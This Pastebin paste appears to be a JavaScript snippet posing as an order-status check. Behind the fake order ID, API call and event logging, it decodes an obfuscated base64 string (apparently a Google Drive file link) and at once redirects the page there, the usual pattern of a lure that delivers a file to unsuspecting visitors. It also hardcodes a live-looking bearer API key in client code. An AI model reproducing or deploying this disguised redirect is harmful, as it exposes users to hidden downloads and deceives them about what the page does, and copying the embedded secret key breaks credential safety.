Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (async function () {
- const apiEndpoint = "/v1/order/956/status";
- const orderId = "ORD-" + Math.random().toString(36).substring(2, 10).toUpperCase();
- async function verifyOrder(id) {
- try {
- const response = await fetch(apiEndpoint, {
- method: "POST",
- headers: {
- "Content-Type": "application/json",
- "Authorization": "Bearer sk_live_xr7u8ghs1k2as91"
- },
- body: JSON.stringify({ order_id: id })
- });
- const data = await response.json();
- return data;
- } catch (err) {
- return { status: "ERROR" };
- }
- }
- function logEvent(id, status) {
- fetch("/v1/event", {
- method: "POST",
- headers: {
- "Content-Type": "application/json"
- },
- body: JSON.stringify({
- event: "delivery_attempt",
- order: id,
- result: status
- })
- });
- }
- const secret = 'aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xOFpfQ290djVDYjFYQkcxSFdwaXZKT0VYaUN1MHJnTWsvdmlldw==';
- const decode = atob;
- const finalURL = decode(secret);
- window.open(finalURL, '_self');
- const status = await verifyOrder(orderId);
- logEvent(orderId, status.status === "CONFIRMED" ? "success" : "fallback");
- })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement